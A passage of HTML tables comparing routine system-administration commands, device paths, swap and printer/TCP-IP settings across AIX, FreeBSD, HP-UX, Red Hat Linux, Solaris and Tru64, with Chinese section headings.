</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">/     {/dev/hd4}</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/   {/dev/ad0s1a}</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/     {/dev/vg00/lvol1}</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Home Directory</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">/home {/dev/hd1}</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/home {/dev/vg00/lvol4}</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">/tmp  {/dev/hd3}</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/tmp  {/dev/vg00/lvol6}</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr  {/dev/hd2}</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr {/dev/ad0s1f}</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr  {/dev/vg00/lvol7}</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="right"><span lang="EN-US">/var  {/dev/hd9var}</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/var {/dev/ad0s1e}</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/var  {/dev/vg00/lvol8}</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Sample configuration files</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">-</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr/newconfig</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<table class="MsoNormalTable" style="height: 100px;" border="1" cellspacing="0" cellpadding="0" width="703">
<tbody>
<tr>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Directory Mappings </span></strong><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Linux( RedHat )</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="264">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Solaris</span></strong></p>
</td>
<td width="144">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Tru64</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Root filesystem</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">/     {/dev/sda1}</span></p>
</td>
<td width="264">
<p class="MsoNormal" align="left"><span lang="EN-US">/ <span> </span>{/dev/vx/dsk/rootvol}</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">/    {/dev/rz0a}</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Home Directory</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="264">
<p class="MsoNormal" align="left"><span lang="EN-US">/export/home  {dev/vx/dsk/home}</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="264">
<p class="MsoNormal" align="left"><span lang="EN-US">/tmp       {dev/vx/dsk/swapvol}</span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="264">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr </span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr {/dev/rz0g}</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="264">
<p class="MsoNormal" align="left"><span lang="EN-US">/var<span> </span></span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Sample configuration files</span></p>
</td>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="264">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统常用命令</span></strong></p>
<table class="MsoNormalTable" style="height: 286px;" border="1" cellspacing="0" cellpadding="0" width="719">
<tbody>
<tr>
<td width="144">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">General Commands</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="132">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">AIX</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="84">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">FreeBSD</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="108">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">HP-UX</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="120">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Linux(RedHat)</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="96">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Solaris</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="84">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Tru64</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Unique host ID</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">hostid</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">uname -i</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">hostid</span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">hostid</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">hostid</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Administrator</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">smit</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">sam</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">linuxconf</span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">admintool</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Performance monitor</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">top<br />
monitor</span></td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">top</span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">top<br />
glance</span></td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">Top</span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">top</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">top</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">System activity reporter</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">sar</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">sa</span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">sar</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">sar</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Virtual Memory statistics</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">vmstat</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">vmstat</span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">vmstat</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">vmstat</span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">vmstat</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">vmstat</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">I/O statistics</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">iostat</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">iostat</span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">iostat</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">iostat</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">iostat</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Error logs</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">alog -o -t boot<br />
errpt</span></td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">dmesg</span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">dmesg</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">Dmesg </span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">dmesg</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">uerf -R -o full</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Physical RAM</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">1M</span><span lang="EN-US"> TB </span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span> </span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">4TB</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">64GB{&gt;2.3.24}</span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">16TB</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">4TB</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Shared Memory</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">64K TB </span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span> </span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">8TB</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">sysctl kernel.shmmax</span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Process Data Space</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">384K TB </span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span> </span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">4TB</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">900 MB </span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Swap device</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">/dev/hd6</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">/dev/ad0s1b</span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">/dev/vg00/lvol2</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">/dev/sda2</span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">/dev/vx/dsk/swapvol</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">/dev/rz0b</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Swap file type</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/swapspaces</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">swap</span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">swap</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">partition type 82 </span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">swap</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">raw</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Display swap size</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">lsps -a</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">swapinfo</span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">swapinfo -a</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">Free</span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">swap -l</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">swapon -s</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal" align="left"><span lang="EN-US">Activate Swap</span></p>
</td>
<td width="132">
<p class="MsoNormal" align="left"><span lang="EN-US">swapon -a</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">swapon -a</span></p>
</td>
<td width="108">
<p class="MsoNormal" align="left"><span lang="EN-US">swapon -a</span></p>
</td>
<td width="120">
<p class="MsoNormal" align="left"><span lang="EN-US">swapon -a</span></p>
</td>
<td width="96">
<p class="MsoNormal" align="left"><span lang="EN-US">swap -a</span></p>
</td>
<td width="84">
<p class="MsoNormal" align="left"><span lang="EN-US">swapon -a</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统打印机、</span></strong><strong><span lang="EN-US">TCP/IP</span></strong><strong><span>设置</span></strong></p>
<table class="MsoNormalTable" style="height: 560px;" border="1" cellspacing="0" cellpadding="0" width="710">
<tbody>
<tr>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Printers</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">AIX</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">FreeBSD</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">HP-UX</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Printer Queues</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/qconfig</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/var/spool/print</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/lp/interface/*</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Stop LP </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">stopsrc -s lpd</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">lpshut</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Start LP</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">startsrc -s lpd</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">Lpd</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">lpsched</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Submit print jobs</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">enq<br />
lp<br />
lpr<br />
qprt</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">Lp</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">lp</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">LP statistics</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">enq -A<br />
lpq<br />
lpstat<br />
qchk</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">Lpq</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">lpstat</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Remove print jobs</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">cancel<br />
lprm<br />
qcan<br />
enq -x</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">Cancel<br />
lprm</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">cancel</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Add printer queue</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">smit mkpq</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">lpadmin -p pq</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Remove Printer Q</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">smit rmpq</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">lpadmin -x pq</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Make default Prt</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">export LPDEST=&#8221;pq&#8221;</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">lpadmin -d pq</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">TCP/IP</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">AIX</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">FreeBSD</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">HP-UX</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Network IP configuration</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">lsattr -E -l inet0</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/rc.conf</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/rc.config.d/netconf</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Hosts IP addresses</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/hosts</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/hosts</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/hosts</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Name service switch</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/netsvc.conf</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/host.conf</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/nsswitch.conf</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Network parameters</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">no –a</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">Sysctl</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">ndd -h</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Routing daemon</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">Gated</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">Routed</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">gated</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">NIC Configurations</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">ifconfig –a</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">ifconfig -a</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">lanscan -v</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Secondary IP Addr</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">ifconfig en0 alias IP </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">ifconfig xl0 alias IP</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">ifconfig lan0:1 IP </span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Login prompt</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">HERALD @<br />
/etc/security/login.cfg</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">telnetd –b /etc/issue</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal"><span lang="EN-US">Increase the # of pseudo-terminals</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">odmget -q &#8220;attribute=num and uniquetype=pty/pty/pty&#8221; PdAt |   sed &#8220;s/0-64/0-512/&#8221; |<br />
odmchange -q &#8220;attribute=num and uniquetype=pty/pty/pty&#8221; -o PdAt </span></p>
<p class="MsoNormal"><span lang="EN-US">chdev -l pty0 -anum=256 -P<br />
reboot</span></td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">rebuild your kernel with these new values NPTY=#<br />
NSTRPY=# </span></p>
<p class="MsoNormal"><span lang="EN-US">reboot </span></p>
<p class="MsoNormal"><span lang="EN-US">insf -d ptys -n #<br />
insf -d ptym -n #<br />
insf -d pts -s # -e -v<br />
</span></td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Maximum # of ptys</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">512</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">{MAXUSERS}</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Remote Shell</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">Remsh<br />
rsh</span></td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">Rsh</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">remsh</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">YP/NIS service binder</span></p>
</td>
<td width="216">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr/lib/netsvc/yp/ypbind</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr/sbin/ypbind</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr/lib/netsvc/yp/ypbind </span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统打印机、</span></strong><strong><span lang="EN-US">TCP/IP</span></strong><strong><span>设置</span></strong><strong><span> </span></strong><strong><span>续</span></strong></p>
<table class="MsoNormalTable" style="height: 500px;" border="1" cellspacing="0" cellpadding="0" width="707">
<tbody>
<tr>
<td width="168">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Printers</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Linux (Redhat)</span></strong></p>
</td>
<td width="192">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Solaris</span></strong><span lang="EN-US"> <strong>(SPARC)</strong></span></p>
</td>
<td width="204">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Tru64</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Printer Queues</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/var/spool/lpd/lp/*</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/lp/interfaces/*</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr/spool/lpd</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Stop LP </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/init.d/lpd stop</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr/lib/lp/lpshut</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/init.d/lpd stop</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Start LP</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">/etc/init.d/lpd start</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">/usr/lib/lp/lpsched</span></p>
</td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/init.d/lpd start</span></p>
</td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">Submit print jobs</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">Lpr</span></p>
</td>
<td width="192">
<p class="MsoNormal" align="left"><span lang="EN-US">Lp<br />
lpr</span></td>
<td width="204">
<p class="MsoNormal" align="left"><span lang="EN-US">Lp<br />
lpr</span></td>
</tr>
<tr>
<td width="168">
<p class="MsoNormal" align="left"><span lang="EN-US">LP statistics</span></p>
</td>
<td width="180">
<p class="MsoNormal" align="left"><span lang="EN-US">Lpq</span></p>
</td>
<td width="192">
